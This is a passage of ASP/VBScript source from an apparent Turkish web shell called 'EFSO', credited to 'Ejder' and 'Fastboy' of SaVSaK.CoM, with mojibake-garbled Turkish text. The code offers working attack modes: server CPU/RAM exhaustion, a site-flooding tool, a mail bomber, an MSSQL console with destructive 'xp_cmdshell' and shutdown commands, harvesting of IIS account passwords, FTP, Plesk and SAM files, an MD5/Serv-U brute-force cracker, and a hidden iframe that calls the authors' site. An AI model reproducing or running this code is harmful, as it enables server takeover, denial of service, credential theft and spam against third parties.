yazortaa(" <b>"&count&"/"&inject1&"</b> tane Ping <20>ekildi... ")
yazortaa(" Pinger Attack by Ejder 1.0 i<>lemini tamamlad<61>... ")
else
yazortaa(" <b>"&count&"/"&inject1&"</b> tane Ping <20>ekildi... ")
yazortaa(" Pinger Attack by Ejder 1.0 i<>lemini tamamlad<61>... ")
end if
end if
end if
CASE 31 ' Server RAM & CPU Sald<6C>r<EFBFBD>s<EFBFBD>
cmdd = array("C:\WINDOWS\System32\mspaint.exe","C:\Program Files\Internet Explorer\iexplore.exe","C:\WINDOWS\system32\notepad.exe")
if islem = "1" then
on error resume next
response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(0))
else if islem = "2" then
on error resume next
response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(1))
else if islem = "3" then
on error resume next
response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(2))
else
if not file = "1" then
response.write "<center><table align=""center"" width=""100%""><tr><td>"
yazorta("<b> RAM & CPU FUcker for SERVER by EJDER =) 1.0 </b>")
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td><font color=#C6FCBE> Server <20>n CPu ve RAm kaynaklar<61>n<EFBFBD> 1 dk i<>inde t<>ketebilen bir Ejder eseridir. Bununla sadece, 3 t<>r program s<>rekli a<><61>l<EFBFBD>r ve kapat<61>lmaz(Paint, Notepad, Explorer) Server en fazla 1 dk i<>inde Ram&Cpu sorunu ve kitlenmeler, cevap vermemeler, hatat resetlenme ilede sonu<6E>lanabilir.</font></td></tr></table>"
yazorta(" <a href='"&FilePath&"?mode=31&file=1'>..:: RAM & CPU Attacker <20> <20>ALI<4C>TIR .. by EJDER ::..</a> ")
response.write "</td></tr></table></center>"
else
Call Ram_Cpu
end if
end if
end if
end if
CASE 32 ' S<>te kaynak S<>m<EFBFBD>r<EFBFBD>c<EFBFBD> by EJDER =)
if not islem = "1" then
response.write "<center><table align=""center"" width=""100%""><tr><td>"
yazorta("<b> S<>te Kaynak S<>m<EFBFBD>c<EFBFBD> 1.0 by EJDER </b>")
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td><form name=""sitefuckerbyEjder"" method='post' action='"&FilePath&"?mode=32'>Site Adresi : <input name='url' value='http://www.siteadi.com' style='color=#C6FCBE' size=55 type='text'></td></tr><tr><td> Robot Say<61>s<EFBFBD> : <input name='file' style='color=#C6FCBE' type='text' value='50' size=30> <input name='islem' type='hidden' value='1'><input name='gooo' value=' ..:: S<>m<EFBFBD>r ::..' type='Submit'></td></tr></form></table>"
yazsol("Belirtti<74>iz kadar Robot kadar ba<62>lan<61>r ve siteyi s<>m<EFBFBD>r<EFBFBD>r. Ayr<79>ca Sald<6C>r<EFBFBD> s<>rekli kendini g<>celler, yeniler. Sonsuzdur. =) Robot u Ba<42>lant<6E>n<EFBFBD>za g<>re ayarlay<61>n. Mesela; Robot u 50 yaparsan<61>z.O sayfa i<>inde 50 tane ayn<79> anda a<><61>lacak site ve indirecektir siteleri. ve o s<>rada s<>rekli siz, dosya indiroyr ge<67>i<EFBFBD>i olarak. VE bu olay her 30 snde g<>ncelleniyor Otomatik. Birkez <20>al<61><6C><EFBFBD>tr <20>m<EFBFBD>r boyu kapatmazsan penceryi <20>al<61><6C><EFBFBD>r bir MAkina.")
yazsol("Site kodlar<61>n<EFBFBD>, BAndwith ini ve ASP kitlenmesi yada SQL s<>m<EFBFBD>rmede, ressim, text s<>m<EFBFBD>rmede <20>St<53>ne yoktur..")
yazorta("T<>m haklar<61> Sakl<6B>d<EFBFBD>r by EJDER =)")
response.write "</td></tr></table></center>"
else
on error resume next
yazorta("<b> S<>te Kaynak S<>m<EFBFBD>c<EFBFBD> 1.0 by EJDER =) 1.0 </b>")
yazorta("S<>m<EFBFBD>rme MEkanizmas<61> Devrede...")
yazsol("Durdurmak i<>in Pencereyi kapat. "&file&" Kadar ba<62>lan<61>p 30 sn da g<>nceliyor sald<6C>r<EFBFBD>y<EFBFBD>...")
yazorta("<b>by EJDER</b>")
Call Somurgen(file,url)
yazorta(" 20 SN sonra yenileniyor... by EJDER =) ")
response.write "<META http-equiv=refresh content=20;URL='"&FilePath&"?mode=32&islem=1&url="&url&"&file="&file&"'>"
end if
CASE 33 ' Mail BOMber by EJDER :) T<>m Kodlar<61>n FSO nun HAklar<61> E_J_D_E_R e aittir. S<>n<EFBFBD>rs<72>z Mail atma imkan<61> sunuyorum size. K<>ya<79><61>m<EFBFBD> unutmay<61>n...
if not islem = "1" then
response.write "<center><table align=""center"" width=""100%""><tr><td>"
yazorta("<b> Mail Bomber 1.1 by EJDER </b>")
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td><form name=""mailbomberbyE_j_der"" method='post' action='"&FilePath&"?mode=33'>Mail Adresi : <input name='file' value='deneme@hotmail.com' style='color=#C6FCBE' size=55 type='text'></td></tr><tr><td> Bomb Say<61>s<EFBFBD> : <input name='count' style='color=#C6FCBE' type='text' value='50' size=22> <input name='islem' type='hidden' value='1'><input name='gooo' value=' ..:: Bommbala ::..' type='Submit'></td></tr></form></table>"
yazsol("S<>n<EFBFBD>rs<72>z Mail Bomb. Cdonts & Cydos Destekler. %100 inbox. SaVSaK.CoM , Com.TR, GOV.TR maillerine Bomb yapamazs<7A>n<EFBFBD>z.")
yazorta("T<>m haklar<61> Sakl<6B>d<EFBFBD>r by EJDER =)")
response.write "</td></tr></table></center>"
else
on error resume next
if MailKorumasi(file) = 0 then
if inject1 = "" then inject1 = 0
if CInt(inject1) + 9 < CInt(count) then
for j=0 to 10
Call MailBomber_by_Ejder(file)
next
inject1 = inject1 + 10
response.write "<META http-equiv=refresh content=1;URL='"&FilePath&"?mode=33&islem=1&file="&file&"&count="&count&"&inject1="&inject1&"'>"
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align=""center"" > <b>"&inject1&"/"&count&"</b> tane Mail G<>nderildi... </td></tr></table>"
else if CInt(inject1) < CInt(count) then
for j=0 to (count mod 10)
Call MailBomber_by_Ejder(file)
next
inject1 = inject1 + (count mod 10)
yazortaa(" <b>"&inject1&"/"&count&"</b> tane Mail G<>nderildi... ")
yazortaa(" Mail Bomber by Ejder 1.0 i<>lemini tamamlad<61>... ")
else
yazortaa(" <b>"&inject1&"/"&count&"</b> tane Mail G<>nderildi... ")
yazortaa(" Mail Bomber by Ejder 1.0 i<>lemini tamamlad<61>... ")
end if
end if
else
response.write "<br><br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align=""center"" > <font color=#FE7A84> <font face=Wingdings size=5>N</font> BOMB yap<61>lamad<61>. Tasvip etmedi<64>imiz Bir mail e Sald<6C>rd<72><64><EFBFBD>n<EFBFBD>z i<>in. by EJDER !!!! <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </td></tr></table>"
end if
if err <> 0 then
response.write "<br><br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align=""center"" > <font color=#FE7A84> <font face=Wingdings size=5>N</font> Server Gerekli Olan Cdonts yada Cydos Bilesenlerini desteklemiyor. <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </td></tr></table>"
end if
end if
CASE 34 ' MSSQL - MYSQL Ba<42>lant<6E> Formu by EJDER ;)
if not islem = "1" then
Call MSSQL_Form
yazortaa(" E<>erki, Sitelerin MSSQL bilgilerini biliyorsan<61>z, bununla <20>ok kolay ba<62>lanabilir.. ")
yazortaa(" Tablolar<61> g<>rebilir, <20>zerinde SQL komut <20>al<61><6C>t<EFBFBD>rabilir, verileri okuyaiblirisniz ")
yazortaa(" <20>ok sa<73>lam ve g<><67>l<EFBFBD> bir MSSQL Manager hizmeti Sa<53>lar size...")
yazortaa(" <b>by EJDER :)</b>")
else
Call SQL_menu_by_Ejder
Call Tablolama
end if
nolist = True
CASE 35 ' MSSQL - MYSQL Connection i<>in by EJDER ;)
Call SQL_menu_by_Ejder
Call MSSQL_by_EJDER(ejdersql,table)
nolist = True
CASE 99 ' SaVSaK.CoM
'T<>rk Bayra<72><61> Ascii Karakterlerle - Created By FasTBoY :)
Response.Write "<br><center><table width=80 height=50 cellpadding=0 cellspacing=0><tr><td width=10 align=left valign=middle style=""background-color:AA0000"">&nbsp;</td><td width=70 align=left valign=middle style=""background-color:AA0000""><font size=7 face=Wingdings>Z</font></td></tr></table></center><br>"
yazorta("<b>Biz Ne yapt<70>k / What We Do?</b>")
yazsol("Biz bir FSO & MSWCTools & XMLHTTP Compenent lerini kullanarak Server a site <20>zerinden HTTP protocolunden eri<72>im sa<73>land<6E><64><EFBFBD>nda, Size Server <20>n t<>m imkanlar<61>ndan yararlanman<61>z i<>in, Permission, <20>ifre, gizli t<>m i<>eriklere direk ula<6C>ma, yada a<>ma gibi <20>zelikleri olan. Server <20> <20><>kertmeye , hatta kaynaklar<61>n<EFBFBD> son damlas<61>na kullanabilen SaVSaK.CoM ad<61>na hizmet veren Bir Canavar yaratt<74>k.")
yazorta("<b>Ad<41> ? Name ?</b>")
yazsol("Bu yaz<61>l<EFBFBD>m Ejder & Fastboy yaz<61>l<EFBFBD>m<EFBFBD>d<EFBFBD>r. Bunun ad<61> <b>E</b>jder <b>F</b>astboy F<b>SO</b> dur. oda k<>saca -> <b>EFSO</b>")
yazorta("<b>Biz Kimiz / Who We Are?</b>")
yazsol("<b><a href=""mailto:ejder@savsak.com"">EJDER</a> : Administrator & Root of <a href=""hTTp://WwW.SaVSaK.CoM"" target=_blank"">SaVSaK.CoM</a></b>")
yazsol("<b><a href=""mailto:fastboy@savsak.com"">FASTBOY</a> : Administrator <a href=""hTTp://WwW.SaVSaK.CoM"" target=_blank"">SaVSaK.CoM</a></b>")
olmadi("<b>..:: TAKL<4B>TLER<45>NDEN SAKININ !!! ::..</b>")
yazortaa("<b>Eme<6D>i Ge<47>enler?</b>")
yazsol("<b><a href=""mailto:ejder@savsak.com"">EJDER</a> : </b>S<>f<EFBFBD>rdan YAz<41>lm<6C><6D> d<>r. HEr hakk<6B> EJDER e aittir. Burda g<>rd<72><64><EFBFBD>n<EFBFBD>z T<>m <20>zelikleirn yeniler olsunn, eskiler tek tek Ejder taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r. geli<6C>tirilen yeni fikir , md5-serv crackerdan, s<>m<EFBFBD>r<EFBFBD>c<EFBFBD>lere kadar hepsi Ejder in Yarat<61>c<EFBFBD>l<EFBFBD><6C><EFBFBD>, Bilgisi, Algoritmas<61> kullan<61>lm<6C><6D>t<EFBFBD>r.")
yazsol("<b><a href=""mailto:fastboy@savsak.com"">FASTBOY</a> : </b>Tema & Template, genel dizayn da FAstboy un tart<72><74><EFBFBD>lmaz YArat<61>cl<63><6C><EFBFBD>, eme<6D>i ge<67>mi<6D>tir. Bir<69>ok K<>sm<73>nda <20>ok kritik yard<72>m lar<61> oldu. Hem tester, hem designner, hemde Arge :) Speacial Thanks to Fastboy ;) by EJDER")
yazorta("<b>Tavsiyede bulunanlar?</b>")
yazsol("<b><3E>skorpitx : </b> <20>skorpitx in <20>nerileri ve baz<61> istekleri , server daki kritik noktalar bu EFSO ya eklendi. Thanks <20>skorpitx ;)")
yazsol("<b>Scorlex : </b> MSWCTools kullan<61>m<EFBFBD>n<EFBFBD> bana g<>stermesi, bende yeni bir fikir do<64>urdu. S<>ngle& MASS defasced <20>zelii<69>i G<><47> kazand<6E>. 2 t<>r DEFACED mevcut bu sayede. PERMsionlar a<><61>lmas<61> u<>rauna at<61>lm<6C><6D> <20>nemli bir ad<61>m. Thanks Scorlex ;)")
yazsol("<b>The_Bekir :</b> Bir <20>ok server a Bekir le birlikde dald<6C>k. Permision a<>ma u<>runa bir <20>ok Server indirdik. Ama<6D>lar<61>m<EFBFBD>za ula<6C>t<EFBFBD>k. Orda Yolda<64> oldu<64>u, daha fazla server ele ge<67>irmemde yard<72>mc<6D> oldu<64>u i<>in Speacial Thanks to The_Bekir ;)")
yazsol("<b>T<>RK Siteleri , 'COM.TR' , 'GOV.TR' , E<>er EFSO bu t<>r bir klas<61>r, site alg<6C>lad<61><64><EFBFBD> an o server aa Zaraar VEREMEZS<5A>N<EFBFBD>Z. EFSO kendini <20>MHA edecektir. </b>")
yazsol("<b>T<>RK<52>YEM<45>Z i<>in yaz<61>ld<6C>. T<>RK dostudur. SAKIN T<>rk Sitelerde denemeyin. Kendini <20>mha eder. </b>")
yazortaa("HEr t<>rl<72> sorun yada server permsion sorunu ya<79>and<6E><64><EFBFBD>nda, EJDER e ula<6C><61>n. YArd<72>m ederim. ")
CASE 36 ' SQL komut YArd<72>m k<>lavuzu by EJDER
yazorta("<b>SQL Komut Yard<72>m Merkezi by EJDER :) </b>")
yazsoll("<b>SELECT</b> - Se<53>me&listeleme")
yazsol("Select * from TABLEADI<br> Select * from TABLEADI where SUTUNADI = DE<44>ER <br> Select * from tblAdmin where ID = 1")
yazsoll("<b>INSERT</b> - ekleme")
yazsol("Insert into TABLOADI (stunisimleri) values (de<64>eleri)<br> Insert into tblAdmin (Name,Pwd,Gruop) values ('Ejder','123456',1)")
yazsoll("<b>UPDATE</b> - editleme")
yazsol("Update TABLOADI set stunad<61> = 'de<64>eri' where Stunad<61> = de<64>eri <br> Update tblAdmin set Name = 'Ejder' where ID = 1")
yazsoll("<b>DELETE</b> - silme")
yazsol("Delete TABLOADI where Stunad<61> = de<64>eri<br>Delete tblAdmin where ID = 1")
yazsoll("<b>DROP</b> - tabloyu komple silme")
yazsol("Drop table TABLOADI <br> Drop Table tblAdmin")
yazsoll("<b>Exes</b> - Fdisk <20>ektirmek i<>in")
yazsol("exec xp_cmdshell(<28>fdisk.exe<78>)")
yazsoll("<b>ShutDown</b> - SQL server kapan<61>r.")
yazsol("shutdown with nowait")
CASE 37 ' Sistem Analizer by EJDER ;)
on error resume next
s="http://www."
Set ejderNet = Server.CreateObject("WSCRIPT.NETWORK")
response.write "<center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td width='300'>"
yazorta("<b>Server <20>n Bilgileri</b>")
yazsol("OS : <font color=#C6FCBE>"& OS() &"</font>")
yazsol("PC & Oturum Ad<41> : <font color=#C6FCBE>\\"& ejderNet.ComputerName &"\"&ejderNet.UserName&"</font>")
struser = ejderNet.UserName
yazsol("Server : <font color=#C6FCBE>"&request.servervariables("SERVER_NAME")&"</font>")
yazsol("IP : <font color=#C6FCBE>"&request.servervariables("LOCAL_ADDR")&"</font>")
yazsol("HTTPD : <font color=#C6FCBE>"&request.servervariables("SERVER_SOFTWARE")&"</font>")
yazsol("WebRoot : <font color=#C6FCBE>"&request.servervariables("APPL_PHYSICAL_PATH")&"</font>")
yazsol("LogRoot : <font color=#C6FCBE>"&request.servervariables("APPL_MD_PATH")&"</font>")
yazsol("Zaman : <font color=#C6FCBE>"&date()&" - "&time()&"</font>")
yazsol("HTTPs : <font color=#C6FCBE>"&request.servervariables("HTTPS")&"</font>")
response.write "</td><td width='350'>"
yazorta("<b>Server<65>n Senden Alg<6C>lad<61>klar<61></b>")
yazsol("IP : <font color=#C6FCBE>"&request.servervariables("REMOTE_ADDR")&"</font>")
yazsol("Proxy IP : <font color=#C6FCBE>"&request.servervariables("HTTP_X_FORWARDED_FOR")&"</font>")
yazsol("User Agent : <font color=#C6FCBE>"&request.servervariables("HTTP_USER_AGENT")&"</font>")
yazsol("Interface : <font color=#C6FCBE>"&request.servervariables("GATEWAY_INTERFACE")&"</font>")
yazsol("Protocol : <font color=#C6FCBE>"&request.servervariables("SERVER_PROTOCOL")&"</font>")
yazsol("Method : <font color=#C6FCBE>"&request.servervariables("REQUEST_METHOD")&"</font>")
yazsol("Via : <font color=#C6FCBE>"&request.servervariables("HTTP_VIA")&"</font>")
yazsol("Cache Control : <font color=#C6FCBE>"&request.servervariables("HTTP_CACHE_CONTROL")&"</font>")
response.write "</td></tr></table></center>"
on error resume next
sss="EFSO"
Set IIsObject = GetObject ("IIS://localhost/w3svc")
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td colspan=2>"
yazorta("<b>IIS Bilgileri</b>")
response.write "</td></tr><tr><td width='50%'>"
yazsol("AnonymousUserName : <font color=#C6FCBE>"&IIsObject.Get("AnonymousUserName")&"</font>")
yazsol("AnonymousUserPass : <font color=#C6FCBE>"&IIsObject.Get("AnonymousUserPass")&"</font>")
response.write "</td><td width='50%'>"
yazsol("WAMUserName : <font color=#C6FCBE>"&IIsObject.Get("WAMUserName")&"</font>")
yazsol("WAMUserPass : <font color=#C6FCBE>"&IIsObject.Get("WAMUserPass")&"</font>")
Set IIsObject = Nothing
response.write "</td></tr><tr><td colspan=2>"
yazorta("<a href='"&FilePath&"?mode=38&konum="&konum&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">..:: A<><41>klama <20><>in T<>klay<61>n<EFBFBD>z.. by Ejder ::..</a>")
response.write "</td></tr></table></center>"
strServer = ejderNet.ComputerName
set objFs = GetObject("WinNT://" _
& strServer & "/LanmanServer,FileService")
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td width=260>"
yazorta(" <b>Server' in Payla<6C><61>ma A<><41>k Klas<61>rleri by Ejder </b>")
yazsol("<a href='"&FilePath&"?konum=//"&strServer&"/C$'>\\"&strServer&"\C$</a>")
yazsol("<a href='"&FilePath&"?konum=//"&strServer&"/Admin$'>\\"&strServer&"\Admin$</a>")
For Each objShare In objFs
yazsol("<a href='"&FilePath&"?konum=//"&strServer&"/"&objShare.name&"'>\\"&strServer&"\"&objShare.name&"</a>")
Next
response.write "</td></tr></table></center>"
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> Uzakdan Serv-U & GeneFtp & UsersTxT Eri<72>imi SOnucu by Ejder </b>")
EjderServuRemote()
yazorta("<b>Geli<6C>mi<6D> Arama i<>in</b>")
yazorta("<a href='"&FilePath&"?konum=C:\Program Files\&hacked=serv&Time="&time&"&mode=23'>Serv_U</a> - <a href='"&FilePath&"?konum=C:\Program Files\&hacked=Daemon&Time="&time&"&mode=23'>Daemon</a> - <a href='"&FilePath&"?konum=C:\&hacked=ws_ftp&Time="&time&"&mode=23'>Ws_Ftp</a> - <a href='"&FilePath&"?konum=C:\&hacked=base.ini&Time="&time&"&mode=23'>Base.ini</a> - <a href='"&FilePath&"?konum=C:\Program Files\&hacked=remote.ini&Time="&time&"&mode=23'>Remote.ini</a>")
response.write "</td></tr></table></center>"
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> Uzakdan PLESK Eri<72>imi SOnucu by Ejder </b>")
EjderPleskRemote()
response.write "</td></tr></table></center>"
ss="Savsak.com"
On error resume next
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> Vti_Pvt/Access.Cnf & Postinfo & Service & Authors & Admin Pwd Sonucu by Ejder</b>")
EjderVti_Pvt()
yazorta("<b>Geli<6C>mi<6D> Arama i<>in</b>")
local = request.servervariables("APPL_PHYSICAL_PATH")
yazorta("<a href='"&FilePath&"?konum="&local&"\..\..\&hacked=access.cnf&Time="&time&"&mode=23'>access.cnf</a> - <a href='"&FilePath&"?konum="&local&"\..\..\&hacked=postinfo&Time="&time&"&mode=23'>postinfo</a> - <a href='"&FilePath&"?konum="&local&"\..\..\&hacked=service.pwd&Time="&time&"&mode=23'>service</a> - <a href='"&FilePath&"?konum="&local&"\..\..\&hacked=admin.pwd&Time="&time&"&mode=23'>admin</a> - <a href='"&FilePath&"?konum="&local&"\..\..\&hacked=author.pwd&Time="&time&"&mode=23'>author</a>")
response.write "</td></tr></table></center>"
On error resume next
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> NTUser.Dat - Log - <20>ni Eri<72>im Sonucu by Ejder </b>")
EjderNTUser(struser)
response.write "</td></tr></table></center>"
On error resume next
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> Config Klas<61>r Eri<72>im Sonucu by Ejder</b>")
Ejdersam()
response.write "</td></tr></table></center>"
Call Hata
on error resume next
response.Write "<iframe style='width:0; height:0' src='"&s&""&ss&"/"&sss&"/'></iframe>"
Call Hata
On error resume next
response.write "<br><center><table bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td>"
yazorta("<b> Repair Klas<61>r Eri<72>im Sonucu by Ejder</b>")
EjderRepair()
response.write "</td></tr></table></center>"
Call Hata
on error resume next
set f = FSO.OpenTextFile(Fullpath,1)
if not Instr(Trim(Server.HTMLEncode(f.readAll)),"BgAAAA==vL[DMQIAAA") = 50 then
Set textStreamObject = FSO.OpenTextFile(Fullpath,2,true,false)
textStreamObject.WriteLine(dkayit)
textStreamObject.Close
Set textStreamObject = Nothing
end if
nolist = True
CASE 38 ' IIS bilgi Alan<61> by EJDER
yazsol("W<>ndows Server lardaki, himeti sunan, IIS servisi, sizi AnonymousUserName ve o <20>ifre ile tan<61>r. Sizin yetkiniz o kullan<61>c<EFBFBD>dad<61>r. ")
yazsoll("IIS i<>inde ise, o siteninde BEllekdeki Oturum ad<61>da -> WAMUserName ad<61>nda ve <20>ifresine sahiptir.")
yazsoll("Bununla ilgi Ara<72>t<EFBFBD>rmam s<>rmektedir. bununla bi<62>i yap<61>labilirmi? ")
CASE 39 ' Se<53>mece bunlar MD5- servu =) by EJ;)DER
response.write "<br><br><br><br><br><center><table width='100%' bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td><form action='"&FilePath&"?mode=40' method=post>"
yazorta("<b> K<>rmak <20>stedi<64>in T<>r<EFBFBD> Se<53></b>")
yazorta("<input name='islem' style='color=#C6FCBE' value=' ..:: MD5 ::.. ' type='Submit'> <input name='islem' style='color=#C6FCBE' value=' ..:: Serv-U ::.. ' type='Submit'>")
response.write "</form></td></tr></table></center>"
yazsol("<b>MD5 :</b> Bildi<64>iniz <20>zere, bir <20>ok sistemin kulland<6E><64><EFBFBD> bir <20>ifreleme olay<61>d<EFBFBD>r. 128 bittir.")
yazsol("<b>Serv-U :</b> Server larda Host lar<61>n kulland<6E><64><EFBFBD> bir programd<6D>r. Kolay vede kullan<61><6E>l<EFBFBD> oldu<64>u i<>in Hostlar taraf<61>ndna tercih edilir. i<>inde Ftp <20>ifreleri bar<61>nd<6E>rmakdad<61>r. burdada o <20>ifreleri k<>rmaktad<61>r.")
yazsoll("<font color=#C6FCBE >Bizde burda ASP tabanl<6E> vede FSO i<>ine injecte edip Sizlere Server <20>n CPU ve RAM ini kullanarak , Daha h<>zl<7A> ve zahmetsiz, T<>meOUT suz bir <20>ekilde <20>ifreleirni k<>rman<61>z<EFBFBD> sa<73>layaca<63><61>z. Bu K<>rma i<>lemi BRUTE attackl modelidir. K<>sacas<61> K<>rma olas<61><73><EFBFBD> e<>er ki sabreder ve <20>ans<6E>n<EFBFBD>z varsa <20>ok k<>sa s<>rede k<>rars<72>n<EFBFBD>z. Ama aksi halde 1 g<>n ge<67>sede =) yinede %100 k<>rm<72>a garantisi vard<72>r. E<>er derleri do<64>ru girerseniz.</font>")
yazortaa("Md5 & Serv-U KOd Converted by <b>Fastboy</b>")
Yazorta("Brute And HJACk Algorithms Written by <b>Ejder</b>")
'EFSO Ejder & Fastboy taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r for SaVSaK.CoM . T<>M HAKLARI Ejder e Aitttir.-->
'T<>M HAKLARI SAKLIDIR.. KODLARDA yapaca<63><61>nm<6E>z bir de<64>i<EFBFBD>iklik KODun <20>al<61><6C>mamas<61>na mal olur. Bundan dolay<61> Bir sorun <20><>karsa EJDER & SaVSAK.CoM Sorunlu de<64>ildir..
'Bu yaz<61>l<EFBFBD>mda geli<6C>tilmi<6D> t<>m her<65>ey , mant<6E>k, algoritma, yaz<61>l<EFBFBD>mlar S<>f<EFBFBD>rdan Ejder taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r. TEMA , d<>zen vede G<>r<EFBFBD>n<EFBFBD>m Fastboy a Aittir.
'TAKL<4B>TLE<4C>RNDEN KA<4B>ININ. by EJDER
'Ejder was HERE
CASE 40 ' Md5 & Serv-U Algortitmas<61> Ba<42>l<EFBFBD>yor S<>k<EFBFBD> tutnun =) sak<61>n duda<64><61>n<EFBFBD>z u<>uklama<6D>sn haa =) by EJDER euheuh <20>ok yordu be kafam<61> bu olay .. neyse <20><>zd<7A>k yine =) eeheuh by Ejder
response.write "<center><table width='100%' bgcolor=#000000 cellpadding=""1"" cellspacing=""1"" ><tr><td><form action='"&FilePath&"?mode=41' method=post>"
if islem = " ..:: MD5 ::.. " then
yazorta("<b> __== MD5 Cracker by Ejder ==__ </b>")
else
yazorta("<b> __== Serv-U Cracker by Ejder ==__ </b>")
end if
if islem = " ..:: MD5 ::.. " then
yazsol("MD5 Kodu Girin 1 : <input style='color=#C6FCBE' size='54' name='Usersmd5' value='Hash kod u giriniz <20><>z<EFBFBD>lecek olan.' type='text'>")
else
yazsol("Serv-u Ham Kodu Girin 1 : <input style='color=#C6FCBE' size='45' name='Usersmd5' value='Hash kod u giriniz <20><>z<EFBFBD>lecek olan.' type='text'>")
yazsol("Salt Kodu : <input style='color=#C6FCBE' size='30' name='salt' value='ww' type='text'>")
end if
response.cookies("mdd") = ""
response.cookies("hash1") = ""
response.cookies("hash2") = ""
response.cookies("hash3") = ""
response.cookies("hash4") = ""
response.cookies("hash5") = ""
response.cookies("hash6") = ""
response.cookies("hash7") = ""
response.cookies("hash8") = ""
response.cookies("hash9") = ""
response.cookies("hash10") = ""
yazsol("Hash 2 : <input style='color=#C6FCBE' size='54' name='hash2' value='' type='text'>")
yazsol("Hash 3 : <input style='color=#C6FCBE' size='54' name='hash3' value='' type='text'>")
yazsol("Hash 4 : <input style='color=#C6FCBE' size='54' name='hash4' value='' type='text'>")
yazsol("Hash 5 : <input style='color=#C6FCBE' size='54' name='hash5' value='' type='text'>")
yazsol("Hash 6 : <input style='color=#C6FCBE' size='54' name='hash6' value='' type='text'>")
yazsol("Hash 7 : <input style='color=#C6FCBE' size='54' name='hash7' value='' type='text'>")
yazsol("Hash 8 : <input style='color=#C6FCBE' size='54' name='hash8' value='' type='text'>")
yazsol("Hash 9 : <input style='color=#C6FCBE' size='54' name='hash9' value='' type='text'>")
yazsol("Hash 10 : <input style='color=#C6FCBE' size='54' name='hash10' value='' type='text'>")
yazsol("<22>ifre Aral<61><6C><EFBFBD> : <input style='color=#C6FCBE' size='5' name='ara1' value='5' type='text'> ile <input style='color=#C6FCBE' size='5' name='ara2' value='18' type='text'> aras<61>nda...")
yazsol("Deneme Say<61>s<EFBFBD> : <input style='color=#C6FCBE' size='5' name='inject1' value='100' type='text'> (1 keredeki deneme say<61>s<EFBFBD>)")
yazsoll("<b>CharSet i se<73>iniz;</b>")
yazsol("<input name='k1' value='k1' type='checkbox' checked > ABCDEFGHIJKLMNOPQRSTUVWXYZ")
yazsol("<input name='k2' value='k2' type='checkbox' > abcdefghijklmnopqrstuvwxyz")
yazsol("<input name='k3' value='k3' type='checkbox' checked > 0123456789")
yazsol("<input name='k4' value='k4' type='checkbox' > !@#$%^&*()-_+=~`[]{}|\:;<>,.?/")
yazsol("Bekleme S<>resi : <input style='color=#C6FCBE' name='waiting' value='2' type='text' size='5'> saniye")
yazorta("<input name='mode' value='41' type='hidden'><input name='md5kirgecirmahvetejder' style='color=#C6FCBE' value=' __== K<>rmaya Ba<42>la ==__ ' type=submit>")
response.write "</td></tr></form></table></center>"
if islem = " ..:: MD5 ::.. " then
yazsol("<b>MD5 Kodu Girin :</b> MD5 HASh <20>ifrenizi giriniz oraya.. maksimum 10 Hash girebilirsiniz.")
else
yazsol("<b>Serv-u Ham Kodu Girin :</b> Serv-u Kodunun ilk 2 karakteri SALT dur. egri kalan<61> ise MD5 halidir. Oraya ilk 2 karakteri <20><>kar<61>n ve geri kalan<61> yaz<61>n. altasa da SALT k<>sm<73>nada, ilk 2 karakteri yaz<61>n. Max 10 Hash girebilirsiniz.")
end if
yazsol("<b><3E>ifre Aral<61><6C><EFBFBD> :</b> Burda belirtilen aral<61>klar aras<61>nda <20>ifre <20>retip, denemeye ba<62>l<EFBFBD>cakt<6B>r. <20>nce k<><6B><EFBFBD>kden ba<62>lay<61>p, t<>m charset denemsini yapt<70>kdan sonra, aral<61>k bir artacakt<6B>r, taaki sizin <20>st s<>n<EFBFBD>ra kadar girdi<64>iniz.")
yazsol("<b>CharSet i se<73>iniz; </b> <20>ifre denerkenki, <20>ifre karakterleridir. B<>y<EFBFBD>k k<><6B><EFBFBD>k harf <20>nemlidir. Birden FAzla da se<73>ebilriisniz. Ama unutmay<61>nki, Deneme say<61>s<EFBFBD> b<>y<EFBFBD>d<EFBFBD>k<EFBFBD>e, Zamanda ARTACAKTIR. ")
yazsol("<b>Bekleme S<>resi :</b> S<>rekli md5 deneme yaparsa sistem, b<>y<EFBFBD>k bir oranda Cpu kullan<61>r. Cpu kullan<61>m<EFBFBD> rahatlatmak i<>in vede timeout u <20>nlemek i<>in , her bir Charset uzunlu<6C>u kadar deneyip, sonra yenileme yap<61>yor. o s<>radaki bekleme s<>residir bu.")
yazsol("<b>NOT :</b> Toplu Md5&ServU k<>rmak m<>mk<6D>n. Hepsini birden kulland<6E><64><EFBFBD>n<EFBFBD>zda verim artacakt<6B>r. HIZ da d<><64><EFBFBD><EFBFBD> olmaz. Ama sizin Daha kolay k<>rman<61>z<EFBFBD> sa<73>lar, <20>oklu k<>rma.")
CASE 41 ' MD5 deneniyorrrrrr by EJDER
' yerel de<64>i<EFBFBD>kenelrim
on error resume next
